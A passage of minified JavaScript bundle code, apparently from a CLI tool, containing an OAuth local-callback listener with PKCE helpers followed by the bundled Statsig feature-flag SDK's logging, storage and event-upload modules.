A=E7().CLAUDEAI_SUCCESS_URL;this.pendingResponse.writeHead(302,{Location:A}),this.pendingResponse.end(),this.pendingResponse=null,n("tengu_oauth_automatic_redirect_error",{})}startLocalListener(A){this.localServer.on("request",this.handleRedirect.bind(this)),this.localServer.on("error",this.handleError.bind(this)),A()}handleRedirect(A,K){let q=new URL(A.url||"",`http://${A.headers.host||"localhost"}`);if(q.pathname!==this.callbackPath){K.writeHead(404),K.end();return}let Y=q.searchParams.get("code")??void 0,z=q.searchParams.get("state")??void 0;this.validateAndRespond(Y,z,K)}validateAndRespond(A,K,q){if(!A){q.writeHead(400),q.end("Authorization code not found"),this.reject(Error("No authorization code received"));return}if(K!==this.expectedState){q.writeHead(400),q.end("Invalid state parameter"),this.reject(Error("Invalid state parameter"));return}this.pendingResponse=q,this.resolve(A)}handleError(A){KA(A),this.close(),this.reject(A)}resolve(A){if(this.promiseResolver)this.promiseResolver(A),this.promiseResolver=null,this.promiseRejecter=null}reject(A){if(this.promiseRejecter)this.promiseRejecter(A),this.promiseResolver=null,this.promiseRejecter=null}close(){if(this.pendingResponse)this.handleErrorRedirect();if(this.localServer)this.localServer.removeAllListeners(),this.localServer.close()}}var yI7=k(()=>{uz();C1();l1();LT()});import*as WgA from"crypto";function ET6(A){return A.toString("base64").replace(/\+/g,"-").replace(/\//g,"_").replace(/=/g,"")}function II7(){return ET6(WgA.randomBytes(32))}function SI7(A){let K=WgA.createHash("sha256");return K.update(A),ET6(K.digest())}function hI7(){return ET6(WgA.randomBytes(32))}var bI7=()=>{};var Xj=v((xI7)=>{Object.defineProperty(xI7,"__esModule",{value:!0});xI7.Log=xI7.LogLevel=void 0;var hoY=" DEBUG ",boY=" INFO ",xoY=" WARN ",uoY=" ERROR ";function XW1(A){return A.unshift("[Statsig]"),A}xI7.LogLevel={None:0,Error:1,Warn:2,Info:3,Debug:4};class R5A{static info(...A){if(R5A.level>=xI7.LogLevel.Info)console.info(boY,...XW1(A))}static debug(...A){if(R5A.level>=xI7.LogLevel.Debug)console.debug(hoY,...XW1(A))}static warn(...A){if(R5A.level>=xI7.LogLevel.Warn)console.warn(xoY,...XW1(A))}static error(...A){if(R5A.level>=xI7.LogLevel.Error)console.error(uoY,...XW1(A))}}xI7.Log=R5A;R5A.level=xI7.LogLevel.Warn});var y5A=v((FI7)=>{var kT6,CT6,LT6;Object.defineProperty(FI7,"__esModule",{value:!0});FI7._getInstance=FI7._getStatsigGlobalFlag=FI7._getStatsigGlobal=void 0;var BoY=Xj(),moY=()=>{return __STATSIG__?__STATSIG__:$W1};FI7._getStatsigGlobal=moY;var goY=(A)=>{return FI7._getStatsigGlobal()[A]};FI7._getStatsigGlobalFlag=goY;var FoY=(A)=>{let K=FI7._getStatsigGlobal();if(!A){if(K.instances&&Object.keys(K.instances).length>1)BoY.Log.warn("Call made to Statsig global instance without an SDK key but there is more than one client instance. If you are using mulitple clients, please specify the SDK key.");return K.firstInstance}return K.instances&&K.instances[A]};FI7._getInstance=FoY;var vDA="__STATSIG__",BI7=typeof window<"u"?window:{},mI7=typeof global<"u"?global:{},gI7=typeof globalThis<"u"?globalThis:{},$W1=(LT6=(CT6=(kT6=BI7[vDA])!==null&&kT6!==void 0?kT6:mI7[vDA])!==null&&CT6!==void 0?CT6:gI7[vDA])!==null&<6!==void 0?LT6:{instance:FI7._getInstance};BI7[vDA]=$W1;mI7[vDA]=$W1;gI7[vDA]=$W1});var GW1=v((QI7)=>{Object.defineProperty(QI7,"__esModule",{value:!0});QI7.Diagnostics=void 0;var _W1=new Map,IT6="start",ST6="end",UoY="statsig::diagnostics";QI7.Diagnostics={_getMarkers:(A)=>{return _W1.get(A)},_markInitOverallStart:(A)=>{kDA(A,EDA({},IT6,"overall"))},_markInitOverallEnd:(A,K,q)=>{kDA(A,EDA({success:K,error:K?void 0:{name:"InitializeError",message:"Failed to initialize"},evaluationDetails:q},ST6,"overall"))},_markInitNetworkReqStart:(A,K)=>{kDA(A,EDA(K,IT6,"initialize","network_request"))},_markInitNetworkReqEnd:(A,K)=>{kDA(A,EDA(K,ST6,"initialize","network_request"))},_markInitProcessStart:(A)=>{kDA(A,EDA({},IT6,"initialize","process"))},_markInitProcessEnd:(A,K)=>{kDA(A,EDA(K,ST6,"initialize","process"))},_clearMarkers:(A)=>{_W1.delete(A)},_formatError(A){if(!(A&&typeof A==="object"))return;return{code:hT6(A,"code"),name:hT6(A,"name"),message:hT6(A,"message")}},_getDiagnosticsData(A,K,q,Y){var z;return{success:(A===null||A===void 0?void 0:A.ok)===!0,statusCode:A===null||A===void 0?void 0:A.status,sdkRegion:(z=A===null||A===void 0?void 0:A.headers)===null||z===void 0?void 0:z.get("x-statsig-region"),isDelta:q.includes('"is_delta":true')===!0?!0:void 0,attempt:K,error:QI7.Diagnostics._formatError(Y)}},_enqueueDiagnosticsEvent(A,K,q,Y){let z=QI7.Diagnostics._getMarkers(q);if(z==null||z.length<=0)return-1;let w=z[z.length-1].timestamp-z[0].timestamp;QI7.Diagnostics._clearMarkers(q);let H=poY(A,{context:"initialize",markers:z.slice(),statsigOptions:Y});return K.enqueue(H),w}};function EDA(A,K,q,Y){return Object.assign({key:q,action:K,step:Y,timestamp:Date.now()},A)}function poY(A,K){return{eventName:UoY,user:A,value:null,metadata:K,time:Date.now()}}function kDA(A,K){var q;let Y=(q=_W1.get(A))!==null&&q!==void 0?q:[];Y.push(K),_W1.set(A,Y)}function hT6(A,K){if(K in A)return A[K];return}});var ZW1=v((UI7)=>{Object.defineProperty(UI7,"__esModule",{value:!0});UI7._isTypeMatch=UI7._typeOf=void 0;function doY(A){return Array.isArray(A)?"array":typeof A}UI7._typeOf=doY;function coY(A,K){let q=(Y)=>Array.isArray(Y)?"array":typeof Y;return q(A)===q(K)}UI7._isTypeMatch=coY});var CDA=v((dI7)=>{Object.defineProperty(dI7,"__esModule",{value:!0});dI7._getSortedObject=dI7._DJB2Object=dI7._DJB2=void 0;var ioY=ZW1(),noY=(A)=>{let K=0;for(let q=0;q<A.length;q++){let Y=A.charCodeAt(q);K=(K<<5)-K+Y,K=K&K}return String(K>>>0)};dI7._DJB2=noY;var roY=(A,K)=>{return dI7._DJB2(JSON.stringify(dI7._getSortedObject(A,K)))};dI7._DJB2Object=roY;var ooY=(A,K)=>{if(A==null)return null;let q=Object.keys(A).sort(),Y={};return q.forEach((z)=>{let w=A[z];if(K===0||(0,ioY._typeOf)(w)!=="object"){Y[z]=w;return}Y[z]=dI7._getSortedObject(w,K!=null?K-1:K)}),Y};dI7._getSortedObject=ooY});var jgA=v((nI7)=>{Object.defineProperty(nI7,"__esModule",{value:!0});nI7._getStorageKey=nI7._getUserStorageKey=void 0;var lI7=CDA();function iI7(A,K,q){var Y;if(q)return q(A,K);let z=K&&K.customIDs?K.customIDs:{},w=[`uid:${(Y=K===null||K===void 0?void 0:K.userID)!==null&&Y!==void 0?Y:""}`,`cids:${Object.keys(z).sort((H,J)=>H.localeCompare(J)).map((H)=>`${H}-${z[H]}`).join(",")}`,`k:${A}`];return(0,lI7._DJB2)(w.join("|"))}nI7._getUserStorageKey=iI7;function soY(A,K,q){if(K)return iI7(A,K,q);return(0,lI7._DJB2)(`k:${A}`)}nI7._getStorageKey=soY});var MgA=v((oI7)=>{Object.defineProperty(oI7,"__esModule",{value:!0});oI7.NetworkParam=oI7.NetworkDefault=oI7.Endpoint=void 0;oI7.Endpoint={_initialize:"initialize",_rgstr:"rgstr",_download_config_specs:"download_config_specs"};oI7.NetworkDefault={[oI7.Endpoint._rgstr]:"https://prodregistryv2.org/v1",[oI7.Endpoint._initialize]:"https://featureassets.org/v1",[oI7.Endpoint._download_config_specs]:"https://api.statsigcdn.com/v1"};oI7.NetworkParam={EventCount:"ec",SdkKey:"k",SdkType:"st",SdkVersion:"sv",Time:"t",SessionID:"sid",StatsigEncoded:"se",IsGzipped:"gz"}});var I5A=v((sI7)=>{Object.defineProperty(sI7,"__esModule",{value:!0});sI7._getCurrentPageUrlSafe=sI7._addDocumentEventListenerSafe=sI7._addWindowEventListenerSafe=sI7._isServerEnv=sI7._getDocumentSafe=sI7._getWindowSafe=void 0;var AaY=()=>{return typeof window<"u"?window:null};sI7._getWindowSafe=AaY;var KaY=()=>{var A;let K=sI7._getWindowSafe();return(A=K===null||K===void 0?void 0:K.document)!==null&&A!==void 0?A:null};sI7._getDocumentSafe=KaY;var qaY=()=>{if(sI7._getDocumentSafe()!==null)return!1;let A=typeof process<"u"&&process.versions!=null&&process.versions.node!=null;return typeof EdgeRuntime==="string"||A};sI7._isServerEnv=qaY;var YaY=(A,K)=>{let q=sI7._getWindowSafe();if(typeof(q===null||q===void 0?void 0:q.addEventListener)==="function")q.addEventListener(A,K)};sI7._addWindowEventListenerSafe=YaY;var zaY=(A,K)=>{let q=sI7._getDocumentSafe();if(typeof(q===null||q===void 0?void 0:q.addEventListener)==="function")q.addEventListener(A,K)};sI7._addDocumentEventListenerSafe=zaY;var waY=()=>{var A;try{return(A=sI7._getWindowSafe())===null||A===void 0?void 0:A.location.href.split(/[?#]/)[0]}catch(K){return}};sI7._getCurrentPageUrlSafe=waY});var uT6=v((qS7)=>{Object.defineProperty(qS7,"__esModule",{value:!0});qS7._createLayerParameterExposure=qS7._createConfigExposure=qS7._mapExposures=qS7._createGateExposure=qS7._isExposureEvent=void 0;var eI7="statsig::config_exposure",AS7="statsig::gate_exposure",KS7="statsig::layer_exposure",xT6=(A,K,q,Y,z)=>{if(q.bootstrapMetadata)Y.bootstrapMetadata=q.bootstrapMetadata;return{eventName:A,user:K,value:null,metadata:ZaY(q,Y),secondaryExposures:z,time:Date.now()}},XaY=({eventName:A})=>{return A===AS7||A===eI7||A===KS7};qS7._isExposureEvent=XaY;var $aY=(A,K,q)=>{var Y,z,w;let H={gate:K.name,gateValue:String(K.value),ruleID:K.ruleID};if(((Y=K.__evaluation)===null||Y===void 0?void 0:Y.version)!=null)H.configVersion=K.__evaluation.version;return xT6(AS7,A,K.details,H,MW1((w=(z=K.__evaluation)===null||z===void 0?void 0:z.secondary_exposures)!==null&&w!==void 0?w:[],q))};qS7._createGateExposure=$aY;function MW1(A,K){return A.map((q)=>{if(typeof q==="string")return(K!==null&&K!==void 0?K:{})[q];return q}).filter((q)=>q!=null)}qS7._mapExposures=MW1;var _aY=(A,K,q)=>{var Y,z,w,H;let J={config:K.name,ruleID:K.ruleID};if(((Y=K.__evaluation)===null||Y===void 0?void 0:Y.version)!=null)J.configVersion=K.__evaluation.version;if(((z=K.__evaluation)===null||z===void 0?void 0:z.passed)!=null)J.rulePassed=String(K.__evaluation.passed);return xT6(eI7,A,K.details,J,MW1((H=(w=K.__evaluation)===null||w===void 0?void 0:w.secondary_exposures)!==null&&H!==void 0?H:[],q))};qS7._createConfigExposure=_aY;var GaY=(A,K,q,Y)=>{var z,w,H,J;let O=K.__evaluation,X=((z=O===null||O===void 0?void 0:O.explicit_parameters)===null||z===void 0?void 0:z.includes(q))===!0,$="",_=(w=O===null||O===void 0?void 0:O.undelegated_secondary_exposures)!==null&&w!==void 0?w:[];if(X)$=(H=O.allocated_experiment_name)!==null&&H!==void 0?H:"",_=O.secondary_exposures;let G={config:K.name,parameterName:q,ruleID:K.ruleID,allocatedExperiment:$,isExplicitParameter:String(X)};if(((J=K.__evaluation)===null||J===void 0?void 0:J.version)!=null)G.configVersion=K.__evaluation.version;return xT6(KS7,A,K.details,G,MW1(_,Y))};qS7._createLayerParameterExposure=GaY;var ZaY=(A,K)=>{if(K.reason=A.reason,A.lcut)K.lcut=String(A.lcut);if(A.receivedAt)K.receivedAt=String(A.receivedAt);return K}});var rp=v((zS7)=>{Object.defineProperty(zS7,"__esModule",{value:!0});zS7._setObjectInStorage=zS7._getObjectFromStorage=zS7.Storage=void 0;var PaY=Xj(),VaY=I5A(),PgA={},mT6={isReady:()=>!0,isReadyResolver:()=>null,getProviderName:()=>"InMemory",getItem:(A)=>PgA[A]?PgA[A]:null,setItem:(A,K)=>{PgA[A]=K},removeItem:(A)=>{delete PgA[A]},getAllKeys:()=>Object.keys(PgA)},PW1=null;try{let A=(0,VaY._getWindowSafe)();if(A&&A.localStorage&&typeof A.localStorage.getItem==="function")PW1={isReady:()=>!0,isReadyResolver:()=>null,getProviderName:()=>"LocalStorage",getItem:(K)=>A.localStorage.getItem(K),setItem:(K,q)=>A.localStorage.setItem(K,q),removeItem:(K)=>A.localStorage.removeItem(K),getAllKeys:()=>Object.keys(A.localStorage)}}catch(A){PaY.Log.warn("Failed to setup localStorageProvider.")}var BT6=PW1!==null&&PW1!==void 0?PW1:mT6,NB=BT6;function faY(A){try{return A()}catch(K){if(K instanceof Error&&K.name==="SecurityError")return zS7.Storage._setProvider(mT6),null;throw K}}zS7.Storage={isReady:()=>NB.isReady(),isReadyResolver:()=>NB.isReadyResolver(),getProviderName:()=>NB.getProviderName(),getItem:(A)=>faY(()=>NB.getItem(A)),setItem:(A,K)=>NB.setItem(A,K),removeItem:(A)=>NB.removeItem(A),getAllKeys:()=>NB.getAllKeys(),_setProvider:(A)=>{BT6=A,NB=A},_setDisabled:(A)=>{if(A)NB=mT6;else NB=BT6}};function NaY(A){let K=zS7.Storage.getItem(A);return JSON.parse(K!==null&&K!==void 0?K:"null")}zS7._getObjectFromStorage=NaY;function TaY(A,K){zS7.Storage.setItem(A,JSON.stringify(K))}zS7._setObjectInStorage=TaY});var gT6=v((JS7)=>{Object.defineProperty(JS7,"__esModule",{value:!0});JS7.UrlConfiguration=void 0;var fW1=MgA(),EaY={[fW1.Endpoint._initialize]:"i",[fW1.Endpoint._rgstr]:"e",[fW1.Endpoint._download_config_specs]:"d"};class HS7{constructor(A,K,q,Y){if(this.customUrl=null,this.fallbackUrls=null,this.endpoint=A,this.endpointDnsKey=EaY[A],K)this.customUrl=K;if(!K&&q)this.customUrl=q.endsWith("/")?`${q}${A}`:`${q}/${A}`;if(Y)this.fallbackUrls=Y;let z=fW1.NetworkDefault[A];this.defaultUrl=`${z}/${A}`}getUrl(){var A;return(A=this.customUrl)!==null&&A!==void 0?A:this.defaultUrl}}JS7.UrlConfiguration=HS7});var vW1=v(($S7)=>{Object.defineProperty($S7,"__esModule",{value:!0});$S7._notifyVisibilityChanged=$S7._subscribeToVisiblityChanged=$S7._isUnloading=$S7._isCurrentlyVisible=void 0;var NW1=I5A(),TW1="foreground",QT6="background",XS7=[],FT6=TW1,UT6=!1,kaY=()=>{return FT6===TW1};$S7._isCurrentlyVisible=kaY;var CaY=()=>UT6;$S7._isUnloading=CaY;var LaY=(A)=>{XS7.unshift(A)};$S7._subscribeToVisiblityChanged=LaY;var RaY=(A)=>{if(A===FT6)return;FT6=A,XS7.forEach((K)=>K(A))};$S7._notifyVisibilityChanged=RaY;(0,NW1._addWindowEventListenerSafe)("focus",()=>{UT6=!1,$S7._notifyVisibilityChanged(TW1)});(0,NW1._addWindowEventListenerSafe)("blur",()=>$S7._notifyVisibilityChanged(QT6));(0,NW1._addWindowEventListenerSafe)("beforeunload",()=>{UT6=!0,$S7._notifyVisibilityChanged(QT6)});(0,NW1._addDocumentEventListenerSafe)("visibilitychange",()=>{$S7._notifyVisibilityChanged(document.visibilityState==="visible"?TW1:QT6)})});var dT6=v((IDA)=>{var RDA=IDA&&IDA.__awaiter||function(A,K,q,Y){function z(w){return w instanceof q?w:new q(function(H){H(w)})}return new(q||(q=Promise))(function(w,H){function J($){try{X(Y.next($))}catch(_){H(_)}}function O($){try{X(Y.throw($))}catch(_){H(_)}}function X($){$.done?w($.value):z($.value).then(J,O)}X((Y=Y.apply(A,K||[])).next())})};Object.defineProperty(IDA,"__esModule",{value:!0});IDA.EventLogger=void 0;var haY=jgA(),baY=CDA(),VgA=Xj(),_S7=MgA(),pT6=I5A(),xaY=uT6(),yDA=rp(),uaY=gT6(),GS7=vW1(),BaY=100,maY=1e4,gaY=1000,FaY=600000,QaY=500,ZS7=200,fgA={},EW1={Startup:"startup",GainedFocus:"gained_focus"};class S5A{static _safeFlushAndForget(A){var K;(K=fgA[A])===null||K===void 0||K.flush().catch(()=>{})}static _safeRetryFailedLogs(A){var K;(K=fgA[A])===null||K===void 0||K._retryFailedLogs(EW1.GainedFocus)}constructor(A,K,q,Y){var z;this._sdkKey=A,this._emitter=K,this._network=q,this._options=Y,this._queue=[],this._lastExposureTimeMap={},this._nonExposedChecks={},this._hasRunQuickFlush=!1,this._creationTime=Date.now(),this._isLoggingDisabled=(Y===null||Y===void 0?void 0:Y.disableLogging)===!0,this._maxQueueSize=(z=Y===null||Y===void 0?void 0:Y.loggingBufferMaxSize)!==null&&z!==void 0?z:BaY;let w=Y===null||Y===void 0?void 0:Y.networkConfig;this._logEventUrlConfig=new uaY.UrlConfiguration(_S7.Endpoint._rgstr,w===null||w===void 0?void 0:w.logEventUrl,w===null||w===void 0?void 0:w.api,w===null||w===void 0?void 0:w.logEventFallbackUrls)}setLoggingDisabled(A){this._isLoggingDisabled=A}enqueue(A){if(!this._shouldLogEvent(A))return;if(this._normalizeAndAppendEvent(A),this._quickFlushIfNeeded(),this._queue.length>this._maxQueueSize)S5A._safeFlushAndForget(this._sdkKey)}incrementNonExposureCount(A){var K;let q=(K=this._nonExposedChecks[A])!==null&&K!==void 0?K:0;this._nonExposedChecks[A]=q+1}reset(){this._lastExposureTimeMap={}}start(){if((0,pT6._isServerEnv)())return;fgA[this._sdkKey]=this,(0,GS7._subscribeToVisiblityChanged)((A)=>{if(A==="background")S5A._safeFlushAndForget(this._sdkKey);else if(A==="foreground")S5A._safeRetryFailedLogs(this._sdkKey)}),this._retryFailedLogs(EW1.Startup),this._startBackgroundFlushInterval()}stop(){return RDA(this,void 0,void 0,function*(){if(this._flushIntervalId)clearInterval(this._flushIntervalId),this._flushIntervalId=null;delete fgA[this._sdkKey],yield this.flush()})}flush(){return RDA(this,void 0,void 0,function*(){if(this._appendAndResetNonExposedChecks(),this._queue.length===0)return;let A=this._queue;this._queue=[],yield this._sendEvents(A)})}_quickFlushIfNeeded(){if(this._hasRunQuickFlush)return;if(this._hasRunQuickFlush=!0,Date.now()-this._creationTime>ZS7)return;setTimeout(()=>S5A._safeFlushAndForget(this._sdkKey),ZS7)}_shouldLogEvent(A){if((0,pT6._isServerEnv)())return!1;if(!(0,xaY._isExposureEvent)(A))return!0;let K=A.user?A.user:{statsigEnvironment:void 0},q=(0,haY._getUserStorageKey)(this._sdkKey,K),Y=A.metadata?A.metadata:{},z=[A.eventName,q,Y.gate,Y.config,Y.ruleID,Y.allocatedExperiment,Y.parameterName,String(Y.isExplicitParameter),Y.reason].join("|"),w=this._lastExposureTimeMap[z],H=Date.now();if(w&&H-w<FaY)return!1;if(Object.keys(this._lastExposureTimeMap).length>gaY)this._lastExposureTimeMap={};return this._lastExposureTimeMap[z]=H,!0}_sendEvents(A){var K,q;return RDA(this,void 0,void 0,function*(){if(this._isLoggingDisabled)return this._saveFailedLogsToStorage(A),!1;try{let z=(0,GS7._isUnloading)()&&this._network.isBeaconSupported()&&((q=(K=this._options)===null||K===void 0?void 0:K.networkConfig)===null||q===void 0?void 0:q.networkOverrideFunc)==null;if(this._emitter({name:"pre_logs_flushed",events:A}),(z?yield this._sendEventsViaBeacon(A):yield this._sendEventsViaPost(A)).success)return this._emitter({name:"logs_flushed",events:A}),!0;else return VgA.Log.warn("Failed to flush events."),this._saveFailedLogsToStorage(A),!1}catch(Y){return VgA.Log.warn("Failed to flush events."),!1}})}_sendEventsViaPost(A){var K;return RDA(this,void 0,void 0,function*(){let q=yield this._network.post(this._getRequestData(A)),Y=(K=q===null||q===void 0?void 0:q.code)!==null&&K!==void 0?K:-1;return{success:Y>=200&&Y<300}})}_sendEventsViaBeacon(A){return RDA(this,void 0,void 0,function*(){return{success:yield this._network.beacon(this._getRequestData(A))}})}_getRequestData(A){return{sdkKey:this._sdkKey,data:{events:A},urlConfig:this._logEventUrlConfig,retries:3,isCompressable:!0,params:{[_S7.NetworkParam.EventCount]:String(A.length)}}}_saveFailedLogsToStorage(A){while(A.length>QaY)A.shift();let K=this._getStorageKey();try{(0,yDA._setObjectInStorage)(K,A)}catch(q){VgA.Log.warn("Unable to save failed logs to storage")}}_retryFailedLogs(A){let K=this._getStorageKey();(()=>RDA(this,void 0,void 0,function*(){if(!yDA.Storage.isReady())yield yDA.Storage.isReadyResolver();let q=(0,yDA._getObjectFromStorage)(K);if(!q)return;if(A===EW1.Startup)yDA.Storage.removeItem(K);if((yield this._sendEvents(q))&&A===EW1.GainedFocus)yDA.Storage.removeItem(K)}))().catch(()=>{VgA.Log.warn("Failed to flush stored logs")})}_getStorageKey(){return`statsig.failed_logs.${(0,baY._DJB2)(this._sdkKey)}`}_normalizeAndAppendEvent(A){if(A.user)A.user=Object.assign({},A.user),delete A.user.privateAttributes;let K={},q=this._getCurrentPageUrl();if(q)K.statsigMetadata={currentPage:q};let Y=Object.assign(Object.assign({},A),K);VgA.Log.debug("Enqueued Event:",Y),this._queue.push(Y)}_appendAndResetNonExposedChecks(){if(Object.keys(this._nonExposedChecks).length===0)return;this._normalizeAndAppendEvent({eventName:"statsig::non_exposed_checks",user:null,time:Date.now(),metadata:{checks:Object.assign({},this._nonExposedChecks)}}),this._nonExposedChecks={}}_getCurrentPageUrl(){var A;if(((A=this._options)===null||A===void 0?void 0:A.includeCurrentPageUrlWithEvents)===!1)return;return(0,pT6._getCurrentPageUrlSafe)()}_startBackgroundFlushInterval(){var A,K;let q=(K=(A=this._options)===null||A===void 0?void 0:A.loggingIntervalMs)!==null&&K!==void 0?K:maY,Y=setInterval(()=>{let z=fgA[this._sdkKey];if(!z||z._flushIntervalId!==Y)clearInterval(Y);else S5A._safeFlushAndForget(this._sdkKey)},q);this._flushIntervalId=Y}}IDA.EventLogger=S5A});var NgA=v((WS7)=>{Object.defineProperty(WS7,"__esModule",{value:!0});WS7.StatsigMetadataProvider=WS7.SDK_VERSION=void 0;WS7.SDK_VERSION="3.12.1";var cT6={sdkVersion:WS7.SDK_VERSION,sdkType:"js-mono"};WS7.StatsigMetadataProvider={get:()=>cT6,add:(A)=>{cT6=Object.assign(Object.assign({},cT6),A)}}});var PS7=v((MS7)=>{Object.defineProperty(MS7,"__esModule",{value:!0})});var kW1=v((VS7)=>{Object.defineProperty(VS7,"__esModule",{value:!0});VS7.getUUID=void 0;function UaY(){if(typeof crypto<"u"&&typeof crypto.randomUUID==="function")return crypto.randomUUID();let A=new Date().getTime(),K=typeof performance<"u"&&performance.now&&performance.now()*1000||0;return`xxxxxxxx-xxxx-4xxx-${"89ab"[Math.floor(Math.random()*4)]}xxx-xxxxxxxxxxxx`.replace(/[xy]/g,(Y)=>{let z=Math.random()*16;if(A>0)z=(A+z)%16|0,A=Math.floor(A/16);else z=(K+z)%16|0,K=Math.floor(K/16);return(Y==="x"?z:z&7|8).toString(16)})}VS7.getUUID=UaY});var LW1=v((ES7)=>{Object.defineProperty(ES7,"__esModule",{value:!0});ES7.StableID=void 0;var paY=jgA(),daY=Xj(),TS7=rp(),caY=kW1(),CW1={};ES7.StableID={get:(A)=>{if(CW1[A]==null){let K=laY(A);if(K==null)K=(0,caY.getUUID)(),NS7(K,A);CW1[A]=K}return CW1[A]},setOverride:(A,K)=>{CW1[K]=A,NS7(A,K)}};function vS7(A){return`statsig.stable_id.${(0,paY._getStorageKey)(A)}`}function NS7(A,K){let q=vS7(K);try{(0,TS7._setObjectInStorage)(q,A)}catch(Y){daY.Log.warn("Failed to save StableID")}}function laY(A){let K=vS7(A);return(0,TS7._getObjectFromStorage)(K)}});var lT6=v((CS7)=>{Object.defineProperty(CS7,"__esModule",{value:!0});CS7._getFullUserHash=CS7._normalizeUser=void 0;var iaY=CDA(),naY=Xj();function raY(A,K,q){try{let Y=JSON.parse(JSON.stringify(A));if(K!=null&&K.environment!=null)Y.statsigEnvironment=K.environment;else if(q!=null)Y.statsigEnvironment={tier:q};return Y}catch(Y){return naY.Log.error("Failed to JSON.stringify user"),{statsigEnvironment:void 0}}}CS7._normalizeUser=raY;function oaY(A){return A?(0,iaY._DJB2Object)(A):null}CS7._getFullUserHash=oaY});var iT6=v((RS7)=>{Object.defineProperty(RS7,"__esModule",{value:!0});RS7._typedJsonParse=void 0;var saY=Xj();function taY(A,K,q){try{let Y=JSON.parse(A);if(Y&&typeof Y==="object"&&K in Y)return Y}catch(Y){}return saY.Log.error(`Failed to parse ${q}`),null}RS7._typedJsonParse=taY});var uS7=v((cs)=>{var nT6=cs&&cs.__awaiter||function(A,K,q,Y){function z(w){return w instanceof q?w:new q(function(H){H(w)})}return new(q||(q=Promise))(function(w,H){function J($){try{X(Y.next($))}catch(_){H(_)}}function O($){try{X(Y.throw($))}catch(_){H(_)}}function X($){$.done?w($.value):z($.value).then(J,O)}X((Y=Y.apply(A,K||[])).next())})};Object.defineProperty(cs,"__esModule",{value:!0});cs._makeDataAdapterResult=cs.DataAdapterCore=void 0;var RW1=Xj(),eaY=LW1(),yW1=lT6(),ds=rp(),IS7=iT6(),SS7=10;class hS7{constructor(A,K){this._adapterName=A,this._cacheSuffix=K,this._options=null,this._sdkKey=null,this._lastModifiedStoreKey=`statsig.last_modified_time.${K}`,this._inMemoryCache=new bS7}attach(A,K){this._sdkKey=A,this._options=K}getDataSync(A){let K=A&&(0,yW1._normalizeUser)(A,this._options),q=this._getCacheKey(K),Y=this._inMemoryCache.get(q,K);if(Y)return Y;let z=this._loadFromCache(q);if(z)return this._inMemoryCache.add(q,z),this._inMemoryCache.get(q,K);return null}setData(A,K){let q=K&&(0,yW1._normalizeUser)(K,this._options),Y=this._getCacheKey(q);this._inMemoryCache.add(Y,IW1("Bootstrap",A,null,q))}_getDataAsyncImpl(A,K,q){return nT6(this,void 0,void 0,function*(){if(!ds.Storage.isReady())yield ds.Storage.isReadyResolver();let Y=A!==null&&A!==void 0?A:this.getDataSync(K),z=[this._fetchAndPrepFromNetwork(Y,K,q)];if(q===null||q===void 0?void 0:q.timeoutMs)z.push(new Promise((w)=>setTimeout(w,q.timeoutMs)).then(()=>{return RW1.Log.debug("Fetching latest value timed out"),null}));return yield Promise.race(z)})}_prefetchDataImpl(A,K){return nT6(this,void 0,void 0,function*(){let q=A&&(0,yW1._normalizeUser)(A,this._options),Y=this._getCacheKey(q),z=yield this._getDataAsyncImpl(null,q,K);if(z)this._inMemoryCache.add(Y,Object.assign(Object.assign({},z),{source:"Prefetch"}))})}_fetchAndPrepFromNetwork(A,K,q){var Y;return nT6(this,void 0,void 0,function*(){let z=(Y=A===null||A===void 0?void 0:A.data)!==null&&Y!==void 0?Y:null,w=A!=null&&this._isCachedResultValidFor204(A,K),H=yield this._fetchFromNetwork(z,K,q,w);if(!H)return RW1.Log.debug("No response returned for latest value"),null;let J=(0,IS7._typedJsonParse)(H,"has_updates","Response"),O=this._getSdkKey(),X=eaY.StableID.get(O),$=null;if((J===null||J===void 0?void 0:J.has_updates)===!0)$=IW1("Network",H,X,K);else if(z&&(J===null||J===void 0?void 0:J.has_updates)===!1)$=IW1("NetworkNotModified",z,X,K);else return null;let _=this._getCacheKey(K);return this._inMemoryCache.add(_,$),this._writeToCache(_,$),$})}_getSdkKey(){if(this._sdkKey!=null)return this._sdkKey;return RW1.Log.error(`${this._adapterName} is not attached to a Client`),""}_loadFromCache(A){var K;let q=(K=ds.Storage.getItem)===null||K===void 0?void 0:K.call(ds.Storage,A);if(q==null)return null;let Y=(0,IS7._typedJsonParse)(q,"source","Cached Result");return Y?Object.assign(Object.assign({},Y),{source:"Cache"}):null}_writeToCache(A,K){ds.Storage.setItem(A,JSON.stringify(K)),this._runLocalStorageCacheEviction(A)}_runLocalStorageCacheEviction(A){var K;let q=(K=(0,ds._getObjectFromStorage)(this._lastModifiedStoreKey))!==null&&K!==void 0?K:{};q[A]=Date.now();let Y=xS7(q,SS7);if(Y)delete q[Y],ds.Storage.removeItem(Y);(0,ds._setObjectInStorage)(this._lastModifiedStoreKey,q)}}cs.DataAdapterCore=hS7;function IW1(A,K,q,Y){return{source:A,data:K,receivedAt:Date.now(),stableID:q,fullUserHash:(0,yW1._getFullUserHash)(Y)}}cs._makeDataAdapterResult=IW1;class bS7{constructor(){this._data={}}get(A,K){var q;let Y=this._data[A],z=Y===null||Y===void 0?void 0:Y.stableID,w=(q=K===null||K===void 0?void 0:K.customIDs)===null||q===void 0?void 0:q.stableID;if(w&&z&&w!==z)return RW1.Log.warn("'StatsigUser.customIDs.stableID' mismatch"),null;return Y}add(A,K){let q=xS7(this._data,SS7-1);if(q)delete this._data[q];this._data[A]=K}merge(A){this._data=Object.assign(Object.assign({},this._data),A)}}function xS7(A,K){let q=Object.keys(A);if(q.length<=K)return null;return q.reduce((Y,z)=>{let w=A[Y],H=A[z];if(typeof w==="object"&&typeof H==="object")return H.receivedAt<w.receivedAt?z:Y;return H<w?z:Y})}});var mS7=v((BS7)=>{Object.defineProperty(BS7,"__esModule",{value:!0})});var SW1=v((FS7)=>{Object.defineProperty(FS7,"__esModule",{value:!0});FS7.SDKType=void 0;var gS7={},SDA;FS7.SDKType={_get:(A)=>{var K;return((K=gS7[A])!==null&&K!==void 0?K:"js-mono")+(SDA!==null&&SDA!==void 0?SDA:"")},_setClientType(A,K){gS7[A]=K},_setBindingType(A){if(!SDA||SDA==="-react")SDA="-"+A}}});var rT6=v((op)=>{var AsY=op&&op.__awaiter||function(A,K,q,Y){function z(w){return w instanceof q?w:new q(function(H){H(w)})}return new(q||(q=Promise))(function(w,H){function J($){try{X(Y.next($))}catch(_){H(_)}}function O($){try{X(Y.throw($))}catch(_){H(_)}}function 